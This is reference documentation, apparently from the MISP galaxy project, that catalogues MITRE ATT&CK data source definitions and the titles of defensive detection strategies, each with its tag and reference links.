https://attack.mitre.org/datasources/DS0035

Domain Name - DS0038

Information obtained (commonly through registration or activity logs) regarding one or more IP addresses registered with human readable names (ex: mitre.org)

The tag is: *misp-galaxy:mitre-data-source="Domain Name - DS0038"*

Table 9748. Table References

Links
https://attack.mitre.org/datasources/DS0038

Firmware - DS0001

Computer software that provides low-level control for the hardware and device(s) of a host, such as BIOS or UEFI/EFI

The tag is: *misp-galaxy:mitre-data-source="Firmware - DS0001"*

Table 9749. Table References

Links
https://attack.mitre.org/datasources/DS0001

Snapshot - DS0020

A point-in-time copy of cloud volumes (files, settings, etc.) that can be created and/or deployed in cloud environments(Citation: Microsoft Snapshot)(Citation: Amazon Snapshots)

The tag is: *misp-galaxy:mitre-data-source="Snapshot - DS0020"*

Table 9750. Table References

Links
https://attack.mitre.org/datasources/DS0020
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSSnapshots.html
https://docs.microsoft.com/en-us/azure/virtual-machines/linux/snapshot-copy-managed-disk

Instance - DS0030

A virtual server environment which runs workloads, hosted on-premise or by third-party cloud providers(Citation: Amazon VM)(Citation: Google VM)

The tag is: *misp-galaxy:mitre-data-source="Instance - DS0030"*

Table 9751. Table References

Links
https://attack.mitre.org/datasources/DS0030
https://azure.microsoft.com/en-us/resources/cloud-computing-dictionary/what-is-a-virtual-machine/
https://cloud.google.com/compute/docs/instances

WMI - DS0005

The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers(Citation: Microsoft WMI System Classes)(Citation: Microsoft WMI Architecture)

The tag is: *misp-galaxy:mitre-data-source="WMI - DS0005"*

Table 9752. Table References

Links
https://attack.mitre.org/datasources/DS0005
https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-architecture
https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-system-classes

Image - DS0007

A single file used to deploy a virtual machine/bootable disk into an on-premise or third-party cloud environment(Citation: Microsoft Image)(Citation: Amazon AMI)

The tag is: *misp-galaxy:mitre-data-source="Image - DS0007"*

Table 9753. Table References

Links
https://attack.mitre.org/datasources/DS0007
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AMIs.html
https://docs.microsoft.com/en-us/azure/virtual-machines/windows/capture-image-resource

Kernel - DS0008

A computer program, at the core of a computer OS, that resides in memory and facilitates interactions between hardware and software components(Citation: STIG Audit Kernel Modules)(Citation: Init Man Page)

The tag is: *misp-galaxy:mitre-data-source="Kernel - DS0008"*

Table 9754. Table References

Links
https://attack.mitre.org/datasources/DS0008
https://man7.org/linux/man-pages/man2/init_module.2.html
https://www.stigviewer.com/stig/oracle_linux_5/2016-12-20/finding/V-22383

Process - DS0009

Instances of computer programs that are being executed by at least one thread. Processes have memory space for process executables, loaded modules (DLLs or shared libraries), and allocated memory regions containing everything from user input to application-specific data structures(Citation: Microsoft Processes and Threads)

The tag is: *misp-galaxy:mitre-data-source="Process - DS0009"*

Table 9755. Table References

Links
https://attack.mitre.org/datasources/DS0009
https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads

Module - DS0011

Executable files consisting of one or more shared classes and interfaces, such as portable executable (PE) format binaries/dynamic link libraries (DLL), executable and linkable format (ELF) binaries/shared libraries, and Mach-O format binaries/shared libraries(Citation: Microsoft LoadLibrary)(Citation: Microsoft Module Class)

The tag is: *misp-galaxy:mitre-data-source="Module - DS0011"*

Table 9756. Table References

Links
https://attack.mitre.org/datasources/DS0011
https://docs.microsoft.com/en-us/dotnet/api/system.reflection.module
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya

Persona - DS0021

A malicious online profile representing a user commonly used by adversaries to social engineer or otherwise target victims

The tag is: *misp-galaxy:mitre-data-source="Persona - DS0021"*

Table 9757. Table References

Links
https://attack.mitre.org/datasources/DS0021

Script - DS0012

A file or stream containing a list of commands, allowing them to be launched in sequence(Citation: Microsoft PowerShell Logging)(Citation: FireEye PowerShell Logging)(Citation: Microsoft AMSI)

The tag is: *misp-galaxy:mitre-data-source="Script - DS0012"*

Table 9758. Table References

Links
https://attack.mitre.org/datasources/DS0012
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7
https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal
https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html

Cluster - DS0031

A set of containerized computing resources that are managed together but have separate nodes to execute various tasks and/or applications(Citation: Kube Cluster Admin)(Citation: Kube Cluster Info)

The tag is: *misp-galaxy:mitre-data-source="Cluster - DS0031"*

Table 9759. Table References

Links
https://attack.mitre.org/datasources/DS0031
https://kubernetes.io/docs/concepts/cluster-administration/
https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#cluster-info

Pod - DS0014

A single unit of shared resources within a cluster, comprised of one or more containers(Citation: Kube Kubectl)(Citation: Kube Pod)

The tag is: *misp-galaxy:mitre-data-source="Pod - DS0014"*

Table 9760. Table References

Links
https://attack.mitre.org/datasources/DS0014
https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.19/#pod-v1-core
https://kubernetes.io/docs/reference/kubectl/kubectl/

Drive - DS0016

A non-volatile data storage device (hard drive, floppy disk, USB flash drive) with at least one formatted partition, typically mounted to the file system and/or assigned a drive letter(Citation: Sysmon EID 9)

The tag is: *misp-galaxy:mitre-data-source="Drive - DS0016"*

Table 9761. Table References

Links
https://attack.mitre.org/datasources/DS0016
https://docs.microsoft.com/sysinternals/downloads/sysmon#event-id-9-rawaccessread

Command - DS0017

A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task(Citation: Confluence Linux Command Line)(Citation: Audit OSX)

The tag is: *misp-galaxy:mitre-data-source="Command - DS0017"*

Table 9762. Table References

Links
https://attack.mitre.org/datasources/DS0017
https://confluence.atlassian.com/confkb/how-to-enable-command-line-audit-logging-in-linux-956166545.html
https://www.scip.ch/en/?labs.20150108

Firewall - DS0018

A network security system, running locally on an endpoint or remotely as a service (ex: cloud environment), that monitors and controls incoming/outgoing network traffic based on predefined rules(Citation: AWS Sec Groups VPC)

The tag is: *misp-galaxy:mitre-data-source="Firewall - DS0018"*

Table 9763. Table References

Links
https://attack.mitre.org/datasources/DS0018
https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html

Service - DS0019

A computer process that is configured to execute continuously in the background and perform system tasks, in some cases before any user has logged in(Citation: Microsoft Services)(Citation: Linux Services Run Levels)

The tag is: *misp-galaxy:mitre-data-source="Service - DS0019"*

Table 9764. Table References

Links
https://attack.mitre.org/datasources/DS0019
https://docs.microsoft.com/en-us/dotnet/framework/windows-services/introduction-to-windows-service-applications
https://www.linux.com/news/introduction-services-runlevels-and-rcd-scripts/

File - DS0022

A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media).(Citation: Microsoft File Mgmt)

The tag is: *misp-galaxy:mitre-data-source="File - DS0022"*

Table 9765. Table References

Links
https://attack.mitre.org/datasources/DS0022
https://docs.microsoft.com/en-us/windows/win32/fileio/file-management

Container - DS0032

A standard unit of virtualized software that packages up code and all its dependencies so the application runs quickly and reliably from one computing environment to another(Citation: Docker Docs Container)

The tag is: *misp-galaxy:mitre-data-source="Container - DS0032"*

Table 9766. Table References

Links
https://attack.mitre.org/datasources/DS0032
https://docs.docker.com/engine/api/v1.41/#tag/Container

Driver - DS0027

A computer program that operates or controls a particular type of device that is attached to a computer. Provides a software interface to hardware devices, enabling operating systems and other computer programs to access hardware functions without needing to know precise details about the hardware being used(Citation: IOKit Fundamentals)(Citation: Windows Getting Started Drivers)

The tag is: *misp-galaxy:mitre-data-source="Driver - DS0027"*

Table 9767. Table References

Links
https://attack.mitre.org/datasources/DS0027

https://developer.apple.com/library/archive/documentation/DeviceDrivers/Conceptual/IOKitFundamentals/Features/Features.html
https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/user-mode-and-kernel-mode

Volume - DS0034

Block object storage hosted on-premise or by third-party providers, typically made available to resources as virtualized hard drives(Citation: Amazon S3)(Citation: Azure Blob Storage)(Citation: Google Cloud Storage)

The tag is: *misp-galaxy:mitre-data-source="Volume - DS0034"*

Table 9768. Table References

Links
https://attack.mitre.org/datasources/DS0034
https://aws.amazon.com/s3/
https://azure.microsoft.com/en-us/products/storage/blobs/
https://cloud.google.com/storage

Group - DS0036

A collection of multiple user accounts that share the same access rights to the computer and/or network resources and have common security rights(Citation: Amazon IAM Groups)

The tag is: *misp-galaxy:mitre-data-source="Group - DS0036"*

Table 9769. Table References

Links
https://attack.mitre.org/datasources/DS0036
https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html

Certificate - DS0037

A digital document, which highlights information such as the owner’s identity, used to instill trust in public keys used while encrypting network communications

The tag is: *misp-galaxy:mitre-data-source="Certificate - DS0037"*

Table 9770. Table References

Links
https://attack.mitre.org/datasources/DS0037

Detection Strategies

ATT&CK Detection Strategies.

Detection Strategies is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

User Execution – Malicious Image (containers & IaaS) – pull/run → start → anomalous behavior (T1204.003) - DET0248

The tag is: *misp-galaxy:x-mitre-detection-strategy="User Execution – Malicious Image (containers & IaaS) – pull/run → start → anomalous behavior (T1204.003) - DET0248"*

Table 9771. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0248

User Execution – Malicious Copy & Paste (browser/email → shell with obfuscated one-liner) – T1204.004 - DET0340

The tag is: *misp-galaxy:x-mitre-detection-strategy="User Execution – Malicious Copy & Paste (browser/email → shell with obfuscated one-liner) – T1204.004 - DET0340"*

Table 9772. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0340

Behavior-chain detection for T1132.001 Data Encoding: Standard Encoding (Base64/Hex/MIME) across Windows, Linux, macOS, ESXi - DET0124

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavior-chain detection for T1132.001 Data Encoding: Standard Encoding (Base64/Hex/MIME) across Windows, Linux, macOS, ESXi - DET0124"*

Table 9773. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0124

User Execution – Malicious Link (click → suspicious egress → download/write → follow-on activity) - DET0066

The tag is: *misp-galaxy:x-mitre-detection-strategy="User Execution – Malicious Link (click → suspicious egress → download/write → follow-on activity) - DET0066"*

Table 9774. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0066

Detection Strategy for Netsh Helper DLL Persistence via Registry and Child Process Monitoring (Windows) - DET0575

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Netsh Helper DLL Persistence via Registry and Child Process Monitoring (Windows) - DET0575"*

Table 9775. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0575

Detecting Protocol or Service Impersonation via Anomalous TLS, HTTP Header, and Port Mismatch Correlation - DET0470

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detecting Protocol or Service Impersonation via Anomalous TLS, HTTP Header, and Port Mismatch Correlation - DET0470"*

Table 9776. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0470

User Execution – multi-surface behavior chain (documents/links → helper/unpacker → LOLBIN/child → egress) - DET0478

The tag is: *misp-galaxy:x-mitre-detection-strategy="User Execution – multi-surface behavior chain (documents/links → helper/unpacker → LOLBIN/child → egress) - DET0478"*

Table 9777. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0478

Behavior-chain detection for T1132.002 Data Encoding: Non-Standard Encoding across Windows, Linux, macOS, ESXi - DET0326

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavior-chain detection for T1132.002 Data Encoding: Non-Standard Encoding across Windows, Linux, macOS, ESXi - DET0326"*

Table 9778. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0326

Detection Strategy for T1136.003 - Cloud Account Creation across IaaS, IdP, SaaS, Office - DET0319

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1136.003 - Cloud Account Creation across IaaS, IdP, SaaS, Office - DET0319"*

Table 9779. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0319

Detect browser session hijacking via privilege, handle access, and remote thread into browsers - DET0507

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect browser session hijacking via privilege, handle access, and remote thread into browsers - DET0507"*

Table 9780. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0507

Post-Credential Dump Password Cracking Detection via Suspicious File Access and Hash Analysis Tools - DET0105

The tag is: *misp-galaxy:x-mitre-detection-strategy="Post-Credential Dump Password Cracking Detection via Suspicious File Access and Hash Analysis Tools - DET0105"*

Table 9781. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0105

Detection Strategy for Hijack Execution Flow using Path Interception by PATH Environment Variable. - DET0004

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Hijack Execution Flow using Path Interception by PATH Environment Variable. - DET0004"*

Table 9782. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0004

Detection Strategy for Impair Defenses via Impair Command History Logging across OS platforms. - DET0563

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Impair Defenses via Impair Command History Logging across OS platforms. - DET0563"*

Table 9783. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0563

Detect Local Email Collection via Outlook Data File Access and Command Line Tooling - DET0047

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Local Email Collection via Outlook Data File Access and Command Line Tooling - DET0047"*

Table 9784. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0047

Behavioral Detection of Native API Invocation via Unusual DLL Loads and Direct Syscalls - DET0529

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Native API Invocation via Unusual DLL Loads and Direct Syscalls - DET0529"*

Table 9785. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0529

Detection Strategy for Hijack Execution Flow using Path Interception by Search Order Hijacking - DET0564

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Hijack Execution Flow using Path Interception by Search Order Hijacking - DET0564"*

Table 9786. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0564

Behavior-chain detection for T1610 Deploy Container across Docker & Kubernetes control/node planes - DET0249

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavior-chain detection for T1610 Deploy Container across Docker & Kubernetes control/node planes - DET0249"*

Table 9787. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0249

Detect Default File Association Hijack via Registry & Execution Correlation on Windows - DET0061

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Default File Association Hijack via Registry & Execution Correlation on Windows - DET0061"*

Table 9788. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0061

Hardware Supply Chain Compromise Detection via Host Status & Boot Integrity Checks - DET0368

The tag is: *misp-galaxy:x-mitre-detection-strategy="Hardware Supply Chain Compromise Detection via Host Status & Boot Integrity Checks - DET0368"*

Table 9789. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0368

Behavior-chain, platform-aware detection strategy for T1127 Trusted Developer Utilities Proxy Execution (Windows) - DET0172

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavior-chain, platform-aware detection strategy for T1127 Trusted Developer Utilities Proxy Execution (Windows) - DET0172"*

Table 9790. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0172

Exploit Public-Facing Application – multi-signal correlation (request → error → post-exploit process/egress) - DET0080

The tag is: *misp-galaxy:x-mitre-detection-strategy="Exploit Public-Facing Application – multi-signal correlation (request → error → post-exploit process/egress) - DET0080"*

Table 9791. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0080

Traffic Signaling (Port-knock / magic-packet → firewall or service activation) – T1205 - DET0524

The tag is: *misp-galaxy:x-mitre-detection-strategy="Traffic Signaling (Port-knock / magic-packet →*

firewall or service activation) – T1205 - DET0524"

Table 9792. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0524

Behavior-chain detection strategy for T1127.002 Trusted Developer Utilities Proxy Execution: ClickOnce (Windows) - DET0191

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavior-chain detection strategy for T1127.002 Trusted Developer Utilities Proxy Execution: ClickOnce (Windows) - DET0191"*

Table 9793. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0191

Behavior-chain detection strategy for T1127.001 Trusted Developer Utilities Proxy Execution: MSBuild (Windows) - DET0556

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavior-chain detection strategy for T1127.001 Trusted Developer Utilities Proxy Execution: MSBuild (Windows) - DET0556"*

Table 9794. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0556

Behavior-chain detection strategy for T1127.003 Trusted Developer Utilities Proxy Execution: JamPlus (Windows) - DET0585

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavior-chain detection strategy for T1127.003 Trusted Developer Utilities Proxy Execution: JamPlus (Windows) - DET0585"*

Table 9795. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0585

Behavioral detection for Supply Chain Compromise (package/update tamper → install → first-run) - DET0537

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral detection for Supply Chain Compromise (package/update tamper → install → first-run) - DET0537"*

Table 9796. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0537

Detection Strategy for T1547.010 – Port Monitor DLL Persistence via spoolsv.exe (Windows) - DET0204

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1547.010 – Port Monitor DLL Persistence via spoolsv.exe (Windows) - DET0204"*

Table 9797. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0204

Behavioral Detection Strategy for Use Alternate Authentication Material: Application Access Token (T1550.001) - DET0185

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection Strategy for Use Alternate Authentication Material: Application Access Token (T1550.001) - DET0185"*

Table 9798. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0185

Behavioral Detection of Asynchronous Procedure Call (APC) Injection via Remote Thread Queuing - DET0100

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Asynchronous Procedure Call (APC) Injection via Remote Thread Queuing - DET0100"*

Table 9799. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0100

Detect Access and Decryption of Group Policy Preference (GPP) Credentials in SYSVOL - DET0381

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Access and Decryption of Group Policy Preference (GPP) Credentials in SYSVOL - DET0381"*

Table 9800. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0381

Detection Strategy for HTML Smuggling via JavaScript Blob + Dynamic File Drop - DET0313

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for HTML Smuggling via JavaScript Blob + Dynamic File Drop - DET0313"*

Table 9801. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0313

Behavior-chain detection for T1133 External Remote Services across Windows, Linux, macOS, Containers - DET0354

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavior-chain detection for T1133 External Remote Services across Windows, Linux, macOS, Containers - DET0354"*

Table 9802. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0354

Behavior-chain detection for T1135 Network Share Discovery across Windows, Linux, and macOS - DET0182

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavior-chain detection for T1135 Network Share Discovery across Windows, Linux, and macOS - DET0182"*

Table 9803. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0182

Multi-hop Proxy Behavior via Relay Node Chaining, Onion Routing, and Network Tunneling - DET0359

The tag is: *misp-galaxy:x-mitre-detection-strategy="Multi-hop Proxy Behavior via Relay Node Chaining, Onion Routing, and Network Tunneling - DET0359"*

Table 9804. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0359

Detect Excessive or Unauthorized Bandwidth Usage for Botnet, Proxyjacking, or Scanning Purposes - DET0028

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Excessive or Unauthorized Bandwidth Usage for Botnet, Proxyjacking, or Scanning Purposes - DET0028"*

Table 9805. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0028

Detection of Web Session Cookie Theft via File, Memory, and Network Artifacts - DET0509

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Web Session Cookie Theft via File, Memory, and Network Artifacts - DET0509"*

Table 9806. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0509

Detection Strategy for Compile After Delivery - Source Code to Executable Transformation - DET0501

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Compile After Delivery - Source Code to Executable Transformation - DET0501"*

Table 9807. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0501

Detection Strategy for Subvert Trust Controls using SIP and Trust Provider Hijacking. - DET0442

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Subvert Trust Controls using SIP and Trust Provider Hijacking. - DET0442"*

Table 9808. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0442

Detection of Impair Defenses through Disabled or Modified Tools across OS Platforms. - DET0497

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Impair Defenses through Disabled or Modified Tools across OS Platforms. - DET0497"*

Table 9809. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0497

Behavioral Detection of Network Share Connection Removal via CLI and SMB Disconnects - DET0103

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Network Share Connection Removal via CLI and SMB Disconnects - DET0103"*

Table 9810. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0103

Detection of Lifecycle Policy Modifications for Triggered Deletion in IaaS Cloud Storage - DET0041

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Lifecycle Policy Modifications for Triggered Deletion in IaaS Cloud Storage - DET0041"*

Table 9811. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0041

Detection of Domain or Tenant Policy Modifications via AD and Identity Provider - DET0270

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Domain or Tenant Policy Modifications via AD and Identity Provider - DET0270"*

Table 9812. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0270

Detection Strategy for Accessibility Feature Hijacking via Binary Replacement or Registry Modification - DET0033

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Accessibility Feature Hijacking via Binary Replacement or Registry Modification - DET0033"*

Table 9813. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0033

Detection Strategy for Traffic Duplication via Mirroring in IaaS and Network Devices - DET0403

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Traffic Duplication via Mirroring in IaaS and Network Devices - DET0403"*

Table 9814. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0403

Detection of Group Policy Modifications via AD Object Changes and File Activity - DET0305

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Group Policy Modifications via AD Object Changes and File Activity - DET0305"*

Table 9815. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0305

Detection Strategy for Hijack Execution Flow using Executable Installer File Permissions Weakness - DET0038

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Hijack Execution Flow using Executable Installer File Permissions Weakness - DET0038"*

Table 9816. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0038

Detect Winlogon Helper DLL Abuse via Registry and Process Artifacts on Windows - DET0404

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Winlogon Helper DLL Abuse via Registry and Process Artifacts on Windows - DET0404"*

Table 9817. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0404

Detection Strategy for Hijack Execution Flow through Path Interception by Unquoted Path - DET0064

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Hijack Execution Flow through Path Interception by Unquoted Path - DET0064"*

Table 9818. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0064

Detect WMI Event Subscription for Persistence via WmiPrvSE Process and MOF Compilation - DET0086

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect WMI Event Subscription for Persistence via WmiPrvSE Process and MOF Compilation - DET0086"*

Table 9819. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0086

Detection Strategy for Disk Wipe via Direct Disk Access and Destructive Commands - DET0137

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Disk Wipe via Direct Disk Access and Destructive Commands - DET0137"*

Table 9820. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0137

Detection of Data Destruction Across Platforms via Mass Overwrite and Deletion Patterns - DET0146

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Data Destruction Across Platforms via Mass Overwrite and Deletion Patterns - DET0146"*

Table 9821. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0146

Detecting Bulk or Anomalous Access to Private Code Repositories via SaaS Platforms - DET0263

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detecting Bulk or Anomalous Access to Private Code Repositories via SaaS Platforms - DET0263"*

Table 9822. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0263

Detection Strategy for MFA Interception via Input Capture and Smart Card Proxying - DET0246

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for MFA Interception via Input Capture and Smart Card Proxying - DET0246"*

Table 9823. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0246

Behavioral Detection of Thread Execution Hijacking via Thread Suspension and Context Switching - DET0295

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Thread Execution Hijacking via Thread Suspension and Context Switching - DET0295"*

Table 9824. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0295

Detection of Credential Dumping from LSASS Memory via Access and Dump Sequence - DET0363

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Credential Dumping from LSASS Memory via Access and Dump Sequence - DET0363"*

Table 9825. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0363

Detect persistent or elevated container services via container runtime or cluster manipulation - DET0473

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect persistent or elevated container services via container runtime or cluster manipulation - DET0473"*

Table 9826. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0473

Detect Suspicious Access to Private Key Files and Export Attempts Across Platforms - DET0549

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Suspicious Access to Private Key Files and Export Attempts Across Platforms - DET0549"*

Table 9827. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0549

Detection Strategy for TLS Callback Injection via PE Memory Modification and Hollowing - DET0467

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for TLS Callback Injection via PE Memory Modification and Hollowing - DET0467"*

Table 9828. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0467

Detect Bidirectional Web Service C2 Channels via Process & Network Correlation - DET0035

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Bidirectional Web Service C2 Channels via Process & Network Correlation - DET0035"*

Table 9829. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0035

Detect User Activity Based Sandbox Evasion via Input & Artifact Probing - DET0420

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect User Activity Based Sandbox Evasion via Input & Artifact Probing - DET0420"*

Table 9830. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0420

Behavior-chain detection for T1134.004 Access Token Manipulation: Parent PID Spoofing (Windows) - DET0489

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavior-chain detection for T1134.004 Access Token Manipulation: Parent PID Spoofing (Windows) - DET0489"*

Table 9831. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0489

Linux Python Startup Hook Persistence via .pth and Customize Files (T1546.018) - DET0258

The tag is: *misp-galaxy:x-mitre-detection-strategy="Linux Python Startup Hook Persistence via .pth and Customize Files (T1546.018) - DET0258"*

Table 9832. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0258

User Execution – Malicious File via download/open → spawn chain (T1204.002) - DET0294

The tag is: *misp-galaxy:x-mitre-detection-strategy="User Execution – Malicious File via download/open → spawn chain (T1204.002) - DET0294"*

Table 9833. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0294

Detection Strategy for Application Shimming via sdbinst.exe and Registry Artifacts (Windows) - DET0017

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Application Shimming via sdbinst.exe and Registry Artifacts (Windows) - DET0017"*

Table 9834. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0017

Detection of Adversary Use of Unused or Unsupported Cloud Regions (IaaS) - DET0247

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Adversary Use of Unused or Unsupported Cloud Regions (IaaS) - DET0247"*

Table 9835. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0247

Detection Strategy for Rogue Domain Controller (DCShadow) Registration and Replication Abuse - DET0276

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Rogue Domain Controller (DCShadow) Registration and Replication Abuse - DET0276"*

Table 9836. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0276

Detection of Domain Trust Discovery via API, Script, and CLI Enumeration - DET0007

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Domain Trust Discovery via API, Script, and CLI Enumeration - DET0007"*

Table 9837. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0007

Behavioral Detection Strategy for T1123 Audio Capture Across Windows, Linux, macOS - DET0221

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection Strategy for T1123 Audio Capture Across Windows, Linux, macOS - DET0221"*

Table 9838. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0221

Detect Subversion of Trust Controls via Certificate, Registry, and Attribute Manipulation - DET0452

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Subversion of Trust Controls via Certificate, Registry, and Attribute Manipulation - DET0452"*

Table 9839. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0452

Detection Strategy for Fileless Storage via Registry, WMI, and Shared Memory - DET0344

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Fileless Storage via Registry, WMI, and Shared Memory - DET0344"*

Table 9840. Table References

Links
